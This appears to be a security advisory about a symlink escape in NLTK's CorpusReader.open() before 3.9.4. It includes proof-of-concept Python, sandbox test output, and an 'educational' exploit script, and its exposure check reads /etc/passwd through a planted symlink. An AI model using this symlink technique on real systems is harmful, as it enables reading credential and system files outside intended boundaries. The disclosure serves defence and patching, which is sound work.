Listen to this Post
NLTK versions before 3.9.4 contain a symlink escape vulnerability in `CorpusReader.open()` that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
The vulnerable flow is:
– `nltk/corpus/reader/api.py:222` – `CorpusReader.open()` blocks absolute paths and .., then calls `self._root.join(file).open()`
– `nltk/data.py:398` – `FileSystemPathPointer.join()` joins the requested file ID and checks whether the resulting path still appears to remain under the configured root
The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.
Current behavior:
– `CorpusReader.open()` rejects:
– absolute paths
– `..` path traversal
– `FileSystemPathPointer.join()` computes:
– `joined = os.path.normpath(os.path.join(self._path, fileid))`
– `root = os.path.normpath(self._path)`
– It allows the access if `joined` starts with `root`
This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.
Example:
– `JOINED=/tmp/nltk-root/link/secret.txt`
– `REALPATH=/tmp/outside/secret.txt`
`JOINED` still appears to be inside the root, but `REALPATH` is outside it.
This is distinct from simple `../` traversal:
- the file ID is not absolute
- the file ID does not contain `..`
– the escape only happens after filesystem resolution of a symlink under the allowed root
PoC reproduced in an isolated Docker sandbox using the local nltk clone:import os import tempfile from nltk.corpus.reader.api import CorpusReader root = tempfile.mkdtemp(prefix="nltk-root-") outside_dir = tempfile.mkdtemp(prefix="nltk-out-") outside_file = os.path.join(outside_dir, "secret.txt") with open(outside_file, "w") as f: f.write("secret-data") os.symlink(outside_dir, os.path.join(root, "link")) corpus = CorpusReader(root, ["link/secret.txt"]) with corpus.open("link/secret.txt") as f: print(f.read())
Observed result: `secret-data`
Docker re-test output:
– `ROOT=/tmp/nltk-root-jjxay3if`
– `OUTSIDE_DIR=/tmp/nltk-out-1kef36e0`
– `JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt`
– `REALPATH=/tmp/nltk-out-1kef36e0/secret.txt`
– `READ_OK=secret-data`
– `INSIDE_ROOT=True`
– `REAL_INSIDE_ROOT=False`
Additional impact validation using a system file:
– `ROOT=/tmp/nltk-root-_h5x4m19`
– `JOINED=/tmp/nltk-root-_h5x4m19/hostfile`
– `REALPATH=/etc/hostname`
– `HOSTNAME_READ=48dafb244af3`
– `INSIDE_ROOT=True`
– `REAL_INSIDE_ROOT=False`
This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.
DailyCVE Form:
Platform: NLTK
Version: <3.9.4
Vulnerability: Symlink Escape
Severity: Medium (CVSS 6.2)
Date: 2026-08-22
Prediction: 2026-09-15 (estimate)
What Undercode Say:
Analytics of the vulnerability shows that the core issue is the use of lexical path validation (os.path.normpath) instead of resolved path validation (os.path.realpath) before allowing file access. The vulnerable code path in `FileSystemPathPointer.join()` only checks if the normalized lexical path starts with the normalized root, but never checks if the symlink-resolved path remains inside the root.
Key commands to check for exposure:
Check NLTK version
python3 -c "import nltk; print(nltk.<strong>version</strong>)"
Check if system is vulnerable (requires write access to a test directory)
python3 -c "
import os, tempfile
from nltk.corpus.reader.api import CorpusReader
root = tempfile.mkdtemp()
os.symlink('/etc', os.path.join(root, 'etc'))
cr = CorpusReader(root, ['etc/passwd'])
try:
with cr.open('etc/passwd') as f:
print('VULNERABLE: read', len(f.read()), 'bytes')
except Exception as e:
print('NOT VULNERABLE:', e)
"
Exploit: (Educational Purposes!)
The following demonstrates the symlink escape in a controlled environment:
import os
import tempfile
from nltk.corpus.reader.api import CorpusReader
Create controlled environment
root = tempfile.mkdtemp(prefix="nltk-root-")
target_dir = tempfile.mkdtemp(prefix="nltk-target-")
Create a target file outside the root
secret_path = os.path.join(target_dir, "secret.txt")
with open(secret_path, "w") as f:
f.write("sensitive-data-12345")
Create symlink inside root pointing outside
os.symlink(target_dir, os.path.join(root, "link"))
Exploit: read through symlink
corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
content = f.read()
print(f"Exploit successful! Read: {content}")
Protection:
- Upgrade NLTK to version 3.9.4 or later, which fixes this vulnerability.
- Avoid accepting attacker-controlled corpus directories, extracted datasets, or package contents.
- Do not rely on NLTK corpus readers as a trust boundary for file access.
- Sanitize any user-supplied paths before passing them to
CorpusReader. - Run applications with the least privilege necessary (non-root user).
Impact:
This is an arbitrary local file read / symlink escape issue.
Who is impacted:
- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents
- applications that rely on NLTK corpus readers as a trust boundary for file access
- any deployment where an attacker can place or influence files inside the allowed corpus root
Practical impact includes disclosure of:
- application secrets stored on disk
- local configuration files
- private datasets
- process-exposed files such as `/proc/self/environ`
– system files readable by the running user
The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

